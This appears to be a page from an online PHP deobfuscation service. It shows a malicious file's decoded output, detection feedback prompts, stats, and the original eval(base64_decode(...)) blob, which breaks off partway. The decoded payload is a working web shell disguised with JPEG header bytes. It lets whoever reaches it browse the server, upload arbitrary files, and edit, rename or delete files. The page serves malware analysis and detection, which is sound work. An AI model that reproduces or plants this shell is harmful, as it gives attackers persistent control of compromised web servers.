Decoded Output
Download??? JFIF ?? C !"$"$?? C?? p " ?? ?? ? ????(% aA*?XYD?(J??ERE,PXYae?)(E2BR BQ X?)X? @
.....................................................................................................................................??? JFIF ?? C !"$"$?? C?? p " ?? ?? ? ????(% aA*?XYD?(J??ERE,PXYae?)(E2BR BQ X?)X? @
..................................................................................................................................... ...................<?php
$currentDir = isset($_POST['d']) && !empty($_POST['d']) ? base64_decode($_POST['d']) : getcwd();
$currentDir = str_replace("\", "/", $currentDir);
$dir = $currentDir; // Needed for Adminer logic
// Directory Navigation
$pathParts = explode("/", $currentDir);
echo "<div class=\"dir\">";
foreach ($pathParts as $k => $v) {
if ($v == "" && $k == 0) {
echo "<a href=\"javascript:void(0);\" onclick=\"postDir('/')\">/</a>";
continue;
}
$dirPath = implode("/", array_slice($pathParts, 0, $k + 1));
echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($dirPath) . "')\">$v</a>/";
}
echo "</div>";
// Upload
if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) {
$fileName = $_FILES['u']['name'];
$tmpName = $_FILES['u']['tmp_name'];
$destination = $currentDir . '/' . $fileName;
if (rename($tmpName, $destination)) {
echo "<script>alert('Upload successful!'); postDir('" . addslashes($currentDir) . "');</script>";
} else {
echo "<script>alert('Upload failed!');</script>";
}
}
// File/Folder Listing
$items = scandir($currentDir);
if ($items !== false) {
echo "<table>";
echo "<tr><th>Name</th><th>Size</th><th>Action</th></tr>";
foreach ($items as $item) {
$fullPath = $currentDir . '/' . $item;
if ($item == '.' || $item == '..') continue;
if (is_dir($fullPath)) {
echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fullPath) . "')\"><b>dir><b/> $item</a></td><td>--</td><td>--</td></tr>";
} else {
$size = filesize($fullPath) / 1024;
$size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB';
echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postOpen('" . addslashes($fullPath) . "')\">fil> $item</a></td><td>$size</td><td>"
. "<a href=\"javascript:void(0);\" onclick=\"postDel('" . addslashes($fullPath) . "')\">Delete</a> | "
. "<a href=\"javascript:void(0);\" onclick=\"postEdit('" . addslashes($fullPath) . "')\">Edit</a> | "
. "<a href=\"javascript:void(0);\" onclick=\"postRen('" . addslashes($fullPath) . "', '$item')\">Rename</a>"
. "</td></tr>";
}
}
echo "</table>";
} else {
echo "<p>Unable to read directory!</p>";
}
// Delete File
if (isset($_POST['del'])) {
$filePath = base64_decode($_POST['del']);
$fileDir = dirname($filePath);
if (@unlink($filePath)) {
echo "<script>alert('Delete successful'); postDir('" . addslashes($fileDir) . "');</script>";
} else {
echo "<script>alert('Delete failed'); postDir('" . addslashes($fileDir) . "');</script>";
}
}
// Edit File
if (isset($_POST['edit'])) {
$filePath = base64_decode($_POST['edit']);
$fileDir = dirname($filePath);
if (file_exists($filePath)) {
echo "<style>table{display:none;}</style>";
echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fileDir) . "')\">Back</a>";
echo "<form method=\"post\">
<input type=\"hidden\" name=\"obj\" value=\"" . $_POST['edit'] . "\">
<input type=\"hidden\" name=\"d\" value=\"" . base64_encode($fileDir) . "\">
<textarea name=\"content\">" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
<center><button type=\"submit\" name=\"save\">Save</button></center>
</form>";
}
}
// Save Edited File
if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
$filePath = base64_decode($_POST['obj']);
$fileDir = dirname($filePath);
if (file_put_contents($filePath, $_POST['content'])) {
echo "<script>alert('Saved'); postDir('" . addslashes($fileDir) . "');</script>";
} else {
echo "<script>alert('Save failed'); postDir('" . addslashes($fileDir) . "');</script>";
}
}
// Rename
if (isset($_POST['ren'])) {
$oldPath = base64_decode($_POST['ren']);
$oldDir = dirname($oldPath);
if (isset($_POST['new'])) {
$newPath = $oldDir . '/' . $_POST['new'];
if (rename($oldPath, $newPath)) {
echo "<script>alert('Renamed'); postDir('" . addslashes($oldDir) . "');</script>";
} else {
echo "<script>alert('Rename failed'); postDir('" . addslashes($oldDir) . "');</script>";
}
} else {
echo "<form method=\"post\">
New Name: <input name=\"new\" type=\"text\">
<input type=\"hidden\" name=\"ren\" value=\"" . $_POST['ren'] . "\">
<input type=\"hidden\" name=\"d\" value=\"" . base64_encode($oldDir) . "\">
<input type=\"submit\" value=\"Submit\">
</form>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>File Explore</title>
<style>
table { margin: 20px auto; border-collapse: collapse; width: 90%; }
th, td { border: 1px solid #000; padding: 5px; text-align: left; }
textarea { width: 100%; height: 300px; }
.dir { margin: 20px; }
</style>
<script>
function postDir(dir) {
var form = document.createElement("form");
form.method = "post";
var input = document.createElement("input");
input.name = "d";
input.value = btoa(dir);
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
function postDel(path) {
var form = document.createElement("form");
form.method = "post";
var input = document.createElement("input");
input.name = "del";
input.value = btoa(path);
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
function postEdit(path) {
var form = document.createElement("form");
form.method = "post";
var input = document.createElement("input");
input.name = "edit";
input.value = btoa(path);
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
function postRen(path, name) {
var newName = prompt("New name:", name);
if (newName) {
var form = document.createElement("form");
form.method = "post";
var input1 = document.createElement("input");
input1.name = "ren";
input1.value = btoa(path);
var input2 = document.createElement("input");
input2.name = "new";
input2.value = newName;
form.appendChild(input1);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
}
}
function postOpen(path) {
window.open(atob(btoa(path)));
}
</script>
</head>
<body>
<div class="dir">
<form method="post" enctype="multipart/form-data">
<input type="file" name="u">
<input type="submit" name="s" value="Upload">
<input type="hidden" name="d" value="<?php echo base64_encode($currentDir); ?>">
</form>
</div>
</body>
</html>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| base64_decode | 1 |
|---|
Variables
None
Stats
| MD5 | 10a31cd78f0a5160 |
|---|---|
| Eval Count | 1 |
| Decode Time | 144 ms |
Original Code
<?php
eval(base64_decode('Pz8/77+977+9'.'IBBKRklG'.'IAEBICABI'.'AEgID8/IEMgBQMEBAQD'.'BQQEBAUFBQYHDAgH'.'BwcHDwsLCQwRDxISEQ8RERMW'.'HBcTFBoVE'.'REYIRgaHR0fH'.'x8TFyIkIh4'.'kHB4fHj8/IEMBBQUFBwY'.'HDggIDh4UERQe'.'Hh4eHh4eHh4eHh4eHh4eH'.'h4eHh4eHh4eH'.'h4eHh4eHh4eHh'.'4eHh4eHh4eHh4eHh4eHj8/I'.'BEICHAPIAMB'.'IiACEQEDEQE/PyAcIA'.'EBIAIDAQEgICAg'.'ICAgICAgAQIHAwU'.'GBAg/PyAa'.'AQEBIAMBASAgICAg'.'ICAgICAgAQME'.'BQIGP++/ve+/vSAMAwE'.'gAhADECA'.'gAT8/Pz8LKCUJYUEq'.'FBI/WFlEPyhKEj8/'.'FEUE77+977+9UkUsUO+/'.'vVhZYWUSPykoRQjvv73vv'.'70y77+9Qu+/ve+/vVLvv73v'.'v70JQlEWBRDvv73'.'vv73vv70'.'gWD8pFhZY7'.'7+977+977+9'.'77+977+9PyAgAUAgIA0'.'KLi4uLi4uLi4u'.'Li4uLi4uLi'.'4uLi4uLi4uLi4uLi4uLi'.'4uLi4uLi4uLi4'.'uLi4uLi4uLi4uLi4uLi4uLi4'.'uLi4uLi4uLi4uLi4uL'.'i4uLi4uLi4u'.'Li4uLi4uL'.'i4uLi4uLi4uLi'.'4uLi4uLi4'.'uLi4uLi4uLi4uLi4u'.'Li4uLi4u'.'Li4uLi4uLi4uLj8'.'/P++/ve+/vSAQSkZJRi'.'ABASAgASABICA/PyBDIAUDB'.'AQEAwUEBAQF'.'BQUGBwwIBwc'.'HBw8LCwk'.'MEQ8SEhEPERE'.'TFhwXExQaFRERG'.'CEYGh0dHx8fExciJ'.'CIeJBweHx4/PyB'.'DAQUFBQcGBw4ICA4e'.'FBEUHh4eHh4e'.'Hh4eHh4eHh4eHh4eHh4eHh'.'4eHh4eHh4eHh4e'.'Hh4eHh4eHh4eHh4eHh4eHh'.'4/PyARCAhwD'.'yADASIgAhEBAxEBPz8g'.'HCABASACAwEBI'.'CAgICAgI'.'CAgIAECBwMF'.'BgQIPz8gGgEBASADAQ'.'EgICAgICAgICAgIAEDBAUCB'.'j/vv73vv70g'.'DAMBIAIQAxAgIAE/Pz8/'.'CyglCWFBKhQSP1hZRD'.'8oShI/PxRFBO+/ve+/vVJF'.'LFDvv71YW'.'WFlEj8pKEUI77+977+9Mu'.'+/vULvv7'.'3vv71S77+9'.'77+9CUJRF'.'gUQ77+977'.'+977+9IFg/KRYWW'.'O+/ve+/ve+/ve+/ve+/vT8'.'gIAFAICANC'.'g0KLi4uLi4uLi4u'.'Li4uLi4uLi'.'4uLi4uLi4uLi4uLi4uLi'.'4uLi4uLi4uLi4uLi4uLi4'.'uLi4uLi4uLi4uLi4uLi4u'.'Li4uLi4uLi4uLi4uLi'.'4uLi4uLi4uLi4uLi4u'.'Li4uLi4uLi4uLi4uLi4'.'uLi4uLi4uLi4uLi4uLi'.'4uLi4uLi4uLi4uLi4u'.'LiAuLi4uLi4uLi4uLi4uLi'.'4uLi4uPD9wa'.'HANCiRjd'.'XJyZW50RGlyID0gaXN'.'zZXQoJF9Q'.'T1NUWydkJ10pICY'.'mICFlbXB0eSgkX1BP'.'U1RbJ2QnXS'.'kgPyBiYXNlNjRfZGVjb2R'.'lKCRfUE9TVFs'.'nZCddKSA6'.'IGdldGN3ZCgpOw0KJG'.'N1cnJlbnREaXIgPSBz'.'dHJfcmVwbGFjZSgiXFwiLCAi'.'LyIsICRjdXJyZW50RGlyKTs'.'NCiRkaXIgPSAkY3VycmVudE'.'RpcjsgLy8gTmV'.'lZGVkIGZvciBBZG'.'1pbmVyIGxvZ2lj'.'DQoNCi8vIERpcmVjdG9yeSB'.'OYXZpZ2F0aW'.'9uDQokcGF0aFBhcn'.'RzID0gZXh'.'wbG9kZSgiLyIsICRjdX'.'JyZW50RGlyKTsNCmVja'.'G8gIjxkaXYgY2xhc'.'3M9XCJkaXJcIj4iOw0KZm9yZ'.'WFjaCAoJHBhdGhQYX'.'J0cyBhcyAkayA9PiAkdikg'.'ew0KICAgIGlmICgkdiA'.'9PSAiIiAm'.'JiAkayA9PSAwKSB7DQo'.'gICAgICAgIGVjaG8gIjx'.'hIGhyZWY9XCJqYXZhc2'.'NyaXB0OnZv'.'aWQoMCk7XCIgb25jb'.'Gljaz1cInBvc3REaX'.'IoJy8nKVwiPi88L'.'2E+IjsNCiAg'.'ICAgICAgY29udGlu'.'dWU7DQogICA'.'gfQ0KICAgICRkaXJ'.'QYXRoID0gaW1wbG9kZSgiL'.'yIsIGFyc'.'mF5X3NsaWNlKCRwYXRoUGF'.'ydHMsIDAs'.'ICRrICsgMSkpO'.'w0KICAgIGVj'.'aG8gIjxhIGhyZWY9XCJqYXZ'.'hc2NyaXB0'.'OnZvaWQoMCk7XCIgb25jbGl'.'jaz1cInBvc3R'.'EaXIoJyIgL'.'iBhZGRzbGFzaGVzKCRkaXJQY'.'XRoKSAuICInKVw'.'iPiR2PC9hPi8iOw0KfQ0KZ'.'WNobyAiPC9kaXY+IjsNCg0'.'KLy8gVXBsb2'.'FkDQppZiAoaXNzZXQ'.'oJF9QT1NUWydzJ10p'.'ICYmIGlzc2V0KCRf'.'RklMRVNbJ3'.'UnXSkgJiYgJF9'.'GSUxFU1sndSddWydlcnJvc'.'iddID09IDApIHsNCiRm'.'aWxlTmFtZSA9I'.'CRfRklMRVNbJ3UnXVsnb'.'mFtZSddOw0KJHRtcE5hbWU'.'gPSAkX0ZJTEVTW'.'yd1J11bJ3RtcF9uYW1l'.'J107DQokZGVzdGluYX'.'Rpb24gPSAkY3VycmVudERpc'.'iAuICcvJyA'.'uICRmaWxlTm'.'FtZTsNCmlmIChyZW5hbWUoJ'.'HRtcE5hbWUsICRkZ'.'XN0aW5hdGlvb'.'ikpIHsNCmVjaG8gI'.'jxzY3JpcH'.'Q+YWxlcn'.'QoJ1VwbG'.'9hZCBzdWNjZXN'.'zZnVsIScpOyBwb'.'3N0RGlyKCciIC4gYWRkc2xhc'.'2hlcygkY3VycmV'.'udERpcikgLiAiJyk'.'7PC9zY3JpcHQ+'.'IjsNCn0gZWxzZSB7DQ'.'plY2hvICI8c2Ny'.'aXB0PmFsZXJ0KC'.'dVcGxvYWQg'.'ZmFpbGVkIScpOzwv'.'c2NyaXB0PiI7DQp9DQp9'.'DQoNCi8vIEZpbGUvRm9sZGV'.'yIExpc3R'.'pbmcNCiRp'.'dGVtcyA9IHNjYW5'.'kaXIoJGN1cnJlbn'.'REaXIpOw0KaWYgK'.'CRpdGVtcyAhPT0gZ'.'mFsc2UpIHsNCiAgICBlY2h'.'vICI8dGFibGU+I'.'jsNCiAgICBlY2hv'.'ICI8dHI+PHRoPk5h'.'bWU8L3RoPjx'.'0aD5TaXplP'.'C90aD48dGg+QWN0aW9uP'.'C90aD48L3R'.'yPiI7DQoNCiA'.'gICBmb3JlYW'.'NoICgkaXRlbXMgYXMgJGl0ZW'.'0pIHsNCiAgICAgICAgJGZ'.'1bGxQYXRoID0g'.'JGN1cnJlbnREaXIgLiA'.'nLycgLiAkaXRlb'.'TsNCiAgICAgICAgaWYgKCRpd'.'GVtID09I'.'CcuJyB8fCAkaXRlbSA9PS'.'AnLi4nKSBjb'.'250aW51ZTsNCg0KICAgICA'.'gICBpZiAoa'.'XNfZGlyKCRmdWxsUG'.'F0aCkpIHsNCiAgICAgIC'.'AgICAgIGVjaG8gIjx0c'.'j48dGQ+PGEgaHJlZj1'.'cImphdmFzY3JpcHQ6dm9pZ'.'CgwKTtcIiBv'.'bmNsaWNrPVwicG9zdE'.'RpcignIiAuIGF'.'kZHNsYXNoZXMoJGZ1b'.'GxQYXRoKSAuICInKVwiPj'.'xiPmRpcj48Yi8+ICRpdG'.'VtPC9hPjwvdGQ+PHRk'.'Pi0tPC90Z'.'D48dGQ+LS08L3RkPjw'.'vdHI+IjsN'.'CiAgICAgICAg'.'fSBlbHNlIHsNCi'.'AgICAgIC'.'AgICAgICRza'.'XplID0gZmlsZXNpemU'.'oJGZ1bGxQYXRoKSAvIDEwMjQ'.'7DQogICAgICAgI'.'CAgICAkc2l6ZSA9ICRzaXpl'.'ID49IDEwMjQgPyByb3Vu'.'ZCgkc2l6ZSAvIDEwMj'.'QsIDIpIC4gJ01CJ'.'yA6IHJvdW5kKCRzaXp'.'lLCAyKSAuIC'.'dLQic7DQogI'.'CAgICAgICAgICBlY'.'2hvICI8dHI+PHRkPjxhIGh'.'yZWY9XCJqYXZhc2NyaXB'.'0OnZvaWQoMCk7XCIgb25j'.'bGljaz1cInBvc3RPcGVuKC'.'ciIC4gYWRkc2xhc2hlcy'.'gkZnVsbFBhdGgpIC4gIi'.'cpXCI+ZmlsPiAkaXRlbTw'.'vYT48L3RkPjx0ZD'.'4kc2l6ZTwvdGQ+PH'.'RkPiINCiAgICAgICAgI'.'CAgICAgICAuICI8YSBocmVm'.'PVwiamF2YX'.'NjcmlwdDp2'.'b2lkKDApO1wiIG9uY2x'.'pY2s9XCJwb3N0RGVs'.'KCciIC4gYW'.'Rkc2xhc2hlcygkZnV'.'sbFBhdGgpIC4gIi'.'cpXCI+RG'.'VsZXRlPC'.'9hPiB8ICINCiAgICAg'.'ICAgICAgI'.'CAgICAuICI'.'8YSBocmVmPVwiamF2YXNjcml'.'wdDp2b2lkKDApO1wiIG9uY2'.'xpY2s9XCJwb3N0R'.'WRpdCgnIiAu'.'IGFkZHNsYXNo'.'ZXMoJGZ1bGxQYXRoKSAuIC'.'InKVwiPkV'.'kaXQ8L2E+IHwg'.'Ig0KICAgICAgICAgICAg'.'ICAgIC4gI'.'jxhIGhyZWY9X'.'CJqYXZhc2NyaXB'.'0OnZvaWQoMCk7XCIgb25'.'jbGljaz1cInBvc3RSZW4oJyI'.'gLiBhZGRzbGFzaGV'.'zKCRmdWxsUGF0aCkgLiAiJy'.'wgJyRpdGVtJyl'.'cIj5SZW5h'.'bWU8L2E+I'.'g0KICAgICAgICAgICAgIC'.'AgIC4gIjwvdGQ+PC90cj4iO'.'w0KICAgICAgICB9D'.'QogICAgfQ0KICAgI'.'GVjaG8gIjwvdG'.'FibGU+Ijs'.'NCn0gZWxzZSB7DQogIC'.'AgZWNobyAiPHA+V'.'W5hYmxlIHRv'.'IHJlYWQgZGlyZWN0b3J5'.'ITwvcD4iOw0'.'KfQ0KDQovL'.'yBEZWxldGUgRmlsZQ0KaWY'.'gKGlzc2V0KCRfUE'.'9TVFsnZGV'.'sJ10pKSB7D'.'QogICAgJGZpbGVQYXR'.'oID0gYmFzZT'.'Y0X2RlY29kZSgkX1BPU1Rb'.'J2RlbCddK'.'TsNCiAgICAkZmlsZURpci'.'A9IGRpcm5hbWUoJGZpbG'.'VQYXRoKTsN'.'CiAgICBpZi'.'AoQHVubGluaygkZml'.'sZVBhdGgpKSB7DQogICA'.'gICAgIGVjaG8g'.'IjxzY3JpcHQ+YWxlcnQoJ0Rl'.'bGV0ZSBzdWNjZXNzZnV'.'sJyk7IHBvc3REaXI'.'oJyIgLiBhZ'.'GRzbGFzaGVzKCRmaWxlRGly'.'KSAuICInKTs8L3Njc'.'mlwdD4iOw'.'0KICAgIH0gZWxzZS'.'B7DQogICAgICAgIGVja'.'G8gIjxzY3JpcHQ+YWx'.'lcnQoJ0RlbGV0ZSBmYWlsZW'.'QnKTsgcG9zdERpcignIiAuI'.'GFkZHNsYXNoZ'.'XMoJGZpbGVEaXIpI'.'C4gIicpOzwvc2N'.'yaXB0PiI7DQogICAgfQ0K'.'fQ0KDQovLyBFZGl0I'.'EZpbGUNCmlmIChpc'.'3NldCgkX1BPU1RbJ2V'.'kaXQnXSkpIHsNCiAgICAkZm'.'lsZVBhdGggPSBiYXNlNjRf'.'ZGVjb2RlKC'.'RfUE9TVFsnZWRpdCddKT'.'sNCiAgICA'.'kZmlsZURpciA9'.'IGRpcm5hbWUoJGZpb'.'GVQYXRoKTsNCiAgICBpZiA'.'oZmlsZV9leGlzdHMoJGZpbG'.'VQYXRoKSkgew0'.'KICAgICAgICBlY2hvICI'.'8c3R5bGU+dGFibGV7'.'ZGlzcGxheTpub25l'.'O308L3N0'.'eWxlPiI7DQogI'.'CAgICAgIG'.'VjaG8gIj'.'xhIGhyZWY9'.'XCJqYXZhc2NyaXB'.'0OnZvaWQoMCk7XCIgb25j'.'bGljaz1cInBv'.'c3REaXIoJyIgLiBhZGRz'.'bGFzaGVzKC'.'RmaWxlRGlyKSAuICI'.'nKVwiPkJhY2'.'s8L2E+IjsNCi'.'AgICAgICAgZWNobyA'.'iPGZvcm0gb'.'WV0aG9kPVw'.'icG9zdFwiPg0KICAgIC'.'AgICAgICA'.'gPGlucHV0IHR5cGU9XC'.'JoaWRkZW5cIiBuY'.'W1lPVwib2JqXCIgdmFsdWU9'.'XCIiIC4g'.'JF9QT1NUWydlZ'.'Gl0J10gLiAiXCI+D'.'QogICAgICAgICAgICA8aW5'.'wdXQgdHl'.'wZT1cImhpZGRlb'.'lwiIG5hbWU9XCJkXCIgdmFsd'.'WU9XCIiIC4gYmFzZTY0X2VuY'.'29kZSgkZmlsZURpcikgLiAiX'.'CI+DQogICAgICAg'.'ICAgICA8dGV4'.'dGFyZWEgbmFtZT1c'.'ImNvbnRlbnRcIj4iIC4gaHR'.'tbHNwZWNp'.'YWxjaGFycyhmaWx'.'lX2dldF9jb250ZW50cy'.'gkZmlsZVBhdGgpKSAuI'.'CI8L3RleHRh'.'cmVhPg0KICAgICAgI'.'CAgICAgPGNlbnRlcj48Yn'.'V0dG9uIHR5cGU9XC'.'JzdWJtaXRcIiBu'.'YW1lPVwic'.'2F2ZVwiPlNhdmU'.'8L2J1dHRvbj48L2Nlbn'.'Rlcj4NCiAgICA'.'gICAgICAgIDwvZm9ybT4i'.'Ow0KICAg'.'IH0NCn0NCg0KLy8gU2F'.'2ZSBFZGl0ZWQgR'.'mlsZQ0KaWY'.'gKGlzc2V0KCRf'.'UE9TVFsnc2F2ZSddKSAmJ'.'iBpc3NldCgkX1BPU1Rb'.'J29iaiddKSAmJiBpc3NldCg'.'kX1BPU1R'.'bJ2NvbnRlbnQnXSkpIHsNCi'.'AgICAkZmlsZVBhdG'.'ggPSBiYXNlNjRfZGVjb2'.'RlKCRfUE9TVFs'.'nb2JqJ10pOw0KICA'.'gICRmaWxl'.'RGlyID0gZGlyb'.'mFtZSgkZmlsZVBhdGgpO'.'w0KICAgIGlmIChmaWxlX3'.'B1dF9jb250ZW50'.'cygkZmls'.'ZVBhdGgsICRfUE9TVFsnY29u'.'dGVudCddKSkgew0'.'KICAgICAgICBlY2hvICI8'.'c2NyaXB0PmFsZXJ0K'.'CdTYXZlZCcpOyBwb'.'3N0RGlyKCciIC4g'.'YWRkc2xhc2hlcygkZmlsZUR'.'pcikgLiAiJyk7'.'PC9zY3JpcHQ+Ij'.'sNCiAgICB9IGVsc2Ugew0'.'KICAgICAgI'.'CBlY2hvICI8c2NyaX'.'B0PmFsZXJ0KCdTYX'.'ZlIGZhaW'.'xlZCcpOyBwb3N0RGly'.'KCciIC4gYWRkc2xhc2h'.'lcygkZmlsZURpc'.'ikgLiAiJyk7PC9'.'zY3JpcHQ+IjsNCiAgICB9'.'DQp9DQoNCi8vIFJlbmFtZQ0K'.'aWYgKGlzc2V0KCRfUE'.'9TVFsncmVuJ10p'.'KSB7DQogICAgJG9'.'sZFBhdGggPSBiYXNlNjR'.'fZGVjb2RlKCRfUE'.'9TVFsncmVu'.'J10pOw0KICAgICRvbG'.'REaXIgPSBkaXJuYW'.'1lKCRvbGRQYXRoKTsNCiAg'.'ICBpZiAoaXNzZXQoJF9QT'.'1NUWyduZXcn'.'XSkpIHsNCiAg'.'ICAgICAgJG5ld1'.'BhdGggPSAkb2xkRGlyIC4'.'gJy8nIC4gJF9QT1NUWydu'.'ZXcnXTsNCiAgICAg'.'ICAgaWYgKHJlbmFtZSgkb'.'2xkUGF0aCwgJG5ld'.'1BhdGgpKSB7DQogI'.'CAgICAgICAgIC'.'BlY2hvICI8c2NyaXB0PmFs'.'ZXJ0KCdSZW5hbW'.'VkJyk7IHBvc'.'3REaXIoJyIgL'.'iBhZGRzbGFzaGVzKCRvbG'.'REaXIpIC4gIicpO'.'zwvc2NyaXB0'.'PiI7DQogICAgICAgIH0gZ'.'WxzZSB7DQogICAgICA'.'gICAgICBlY2hvICI8c'.'2NyaXB0PmFs'.'ZXJ0KCdSZW5hbWUgZmFpb'.'GVkJyk7IHBvc3REaXIoJ'.'yIgLiBhZGRzbGF'.'zaGVzKCRvbGREaXIpIC4gIi'.'cpOzwvc2NyaXB'.'0PiI7DQogICAgICAgIH0N'.'CiAgICB9IGVs'.'c2Ugew0KICAgICAgICBlY2'.'hvICI8Zm9ybSBt'.'ZXRob2Q9XCJwb3N0XCI+DQog'.'ICAgICAgICAgICBOZ'.'XcgTmFtZTogPGlucHV0IG5hb'.'WU9XCJuZXdcIiB0eXBlPVwi'.'dGV4dFwiPg0KICAgICAgIC'.'AgICAgPGlucHV0IHR5cGU9'.'XCJoaWRkZW5cIiBuY'.'W1lPVwicmVuXCIg'.'dmFsdWU9XCIiIC4gJF9QT1N'.'UWydyZW4'.'nXSAuICJcIj4NCiAg'.'ICAgICAgICA'.'gIDxpbnB1'.'dCB0eXBl'.'PVwiaGlkZGVuX'.'CIgbmFtZT1'.'cImRcIiB2YWx1ZT1cIiIgLi'.'BiYXNlNjRfZW'.'5jb2RlKCRvbGRE'.'aXIpIC4gIlwiPg0KIC'.'AgICAgICAgICAgPGlucHV0I'.'HR5cGU9XCJzdW'.'JtaXRcIiB2YWx1ZT1cIlN'.'1Ym1pdFwiPg0KICAgICAgI'.'CAgICAgPC9mb3JtP'.'iI7DQogICAgfQ0KfQ0KPz4N'.'Cg0KPCFET0NUWVBFIGh0'.'bWw+DQo8aHRtbD4N'.'CjxoZWFkPg0KICAgI'.'Dx0aXRsZT5GaWxlIEV4cGx'.'vcmU8L3RpdGxlPg0KI'.'CAgIDxzdHls'.'ZT4NCiAgICAgICAgdGFibG'.'UgeyBtYXJnaW46I'.'DIwcHggYXV0bzsgYm9yZGVyL'.'WNvbGxhcHNlOiBjb2xsY'.'XBzZTsgd2lkdGg6'.'IDkwJTsgfQ0KICAg'.'ICAgICB0aCwgdGQgeyBib3J'.'kZXI6IDFweCBz'.'b2xpZCAj'.'MDAwOyBwYWRkaW5n'.'OiA1cHg7IHRleHQtYWxpZ2'.'46IGxlZnQ7IH0NCiAgI'.'CAgICAgdGV4d'.'GFyZWEgeyB3aWR0a'.'DogMTAwJTsgaGVpZ2h0OiA'.'zMDBweDsgfQ0KICAgICAg'.'ICAuZGlyIHsgb'.'WFyZ2luO'.'iAyMHB4OyB9DQogICAgP'.'C9zdHlsZT4NCiAg'.'ICA8c2NyaXB0Pg0KICAgICAg'.'ICBmdW5jdGlvbiBwb3'.'N0RGlyKGRpcikgew0KICA'.'gICAgICAgICAg'.'dmFyIGZvcm0gPSBkb2'.'N1bWVudC5jcmVhdGV'.'FbGVtZW50'.'KCJmb3JtIik7DQogI'.'CAgICAgICA'.'gICBmb3JtLm1ld'.'GhvZCA9ICJwb3N0IjsNCiAgI'.'CAgICAgICAgIHZ'.'hciBpbnB1dCA9IGRvY3VtZW5'.'0LmNyZWF0Z'.'UVsZW1lbnQo'.'ImlucHV0Iik7'.'DQogICAgICAg'.'ICAgICBpbnB1d'.'C5uYW1lID0gImQiOw'.'0KICAgICAgI'.'CAgICAga'.'W5wdXQudmFsd'.'WUgPSBidG'.'9hKGRpcik7DQogICAgIC'.'AgICAgICBmb3JtLmFwc'.'GVuZENoaWx'.'kKGlucHV0KTsNCiAgIC'.'AgICAgICAgIGRvY3VtZW50'.'LmJvZHkuYXBwZW5kQ2hpbGQo'.'Zm9ybSk7DQogICAgICAgI'.'CAgICBmb'.'3JtLnN1Ym1pd'.'CgpOw0KICAgICAgI'.'CB9DQogICAgI'.'CAgIGZ1bmN0aW9'.'uIHBvc3R'.'EZWwocGF0aCkge'.'w0KICAgICA'.'gICAgICAgdmFyIGZvcm'.'0gPSBkb2N1bWVudC5jcmVh'.'dGVFbGVtZW50KCJmb3'.'JtIik7DQogICAgICAgICA'.'gICBmb3JtLm1ldGhv'.'ZCA9ICJwb3N0'.'IjsNCiAgICAg'.'ICAgICAg'.'IHZhciBpbnB1dC'.'A9IGRvY3VtZW50LmN'.'yZWF0ZUVsZW1'.'lbnQoImlu'.'cHV0Iik7DQogICA'.'gICAgICAgICBpb'.'nB1dC5uYW1lID0gImRlbCI7D'.'QogICAgICAgICAgIC'.'BpbnB1dC52Y'.'Wx1ZSA9IGJ0b'.'2EocGF0a'.'Ck7DQogICAgICAgICAgICBmb'.'3JtLmFwcGVuZEN'.'oaWxkKGlu'.'cHV0KTsNCiAgICAgICAgICA'.'gIGRvY3VtZW5'.'0LmJvZHkuYXBwZ'.'W5kQ2hpbGQoZm9ybS'.'k7DQogICAgICAg'.'ICAgICBmb3JtLnN1'.'Ym1pdCgpOw0KICAgICAgI'.'CB9DQogI'.'CAgICAgIGZ1bmN0aW9'.'uIHBvc3RFZGl0KHBhdGg'.'pIHsNCiAgICAgICAgICAg'.'IHZhciBmb3JtID0gZG9jdW'.'1lbnQuY3JlYXR'.'lRWxlbWVudCg'.'iZm9ybSIp'.'Ow0KICAgICAgICAgICAgZm9'.'ybS5tZXRob2QgPSAicG9zdC'.'I7DQogICAgICA'.'gICAgICB2YXIgaW5wdXQgPS'.'Bkb2N1bWVudC5jcmVhdGVF'.'bGVtZW50KCJ'.'pbnB1dCIpOw0KICAgICAgICA'.'gICAgaW5'.'wdXQubmFtZSA'.'9ICJlZGl0Ijs'.'NCiAgICAgICAgICAgIGlu'.'cHV0LnZhbHVlID0gY'.'nRvYShwYXRoKTs'.'NCiAgICAgICAgICA'.'gIGZvcm0'.'uYXBwZW5'.'kQ2hpbGQo'.'aW5wdXQp'.'Ow0KICAgICAgICAgICA'.'gZG9jdW1l'.'bnQuYm9k'.'eS5hcHBlbmRDaG'.'lsZChmb3JtKTsNCiAgICAgI'.'CAgICAgIGZvcm0uc3V'.'ibWl0KCk7DQogICAgICAgIH'.'0NCiAgICAgICAgZnVuY3R'.'pb24gcG9zdF'.'JlbihwYXRoLCBuYW1lK'.'SB7DQogICAgICAgICAgICB2Y'.'XIgbmV3TmFtZSA9IHByb21w'.'dCgiTmV3IG5'.'hbWU6IiwgbmFtZSk7DQogI'.'CAgICAgICAg'.'ICBpZiAobmV'.'3TmFtZSkgew'.'0KICAgICAgICAgICAg'.'ICAgIHZhciBmb3J'.'tID0gZG9jdW1lbnQu'.'Y3JlYXRlRWxlbWV'.'udCgiZm9ybSIpOw0KICAg'.'ICAgICAgICAgICAgIGZvcm0'.'ubWV0aG9kID0gInBvc3Q'.'iOw0KICAgICAgICAg'.'ICAgICAgI'.'HZhciBpbnB1dD'.'EgPSBkb2N1bWV'.'udC5jcmVhdGVFbGVtZW5'.'0KCJpbnB1d'.'CIpOw0KICAgICA'.'gICAgICAgICAgIGlu'.'cHV0MS5uYW1lID0gInJl'.'biI7DQogICA'.'gICAgICA'.'gICAgICAgaW5'.'wdXQxLnZhbHVlID0'.'gYnRvYShwY'.'XRoKTsNCiAgICAgICA'.'gICAgICAgICB2YX'.'IgaW5wdXQyID0gZG9jdW1'.'lbnQuY3JlYXRlRWxlbWVudCg'.'iaW5wdXQiKTsNCiAgI'.'CAgI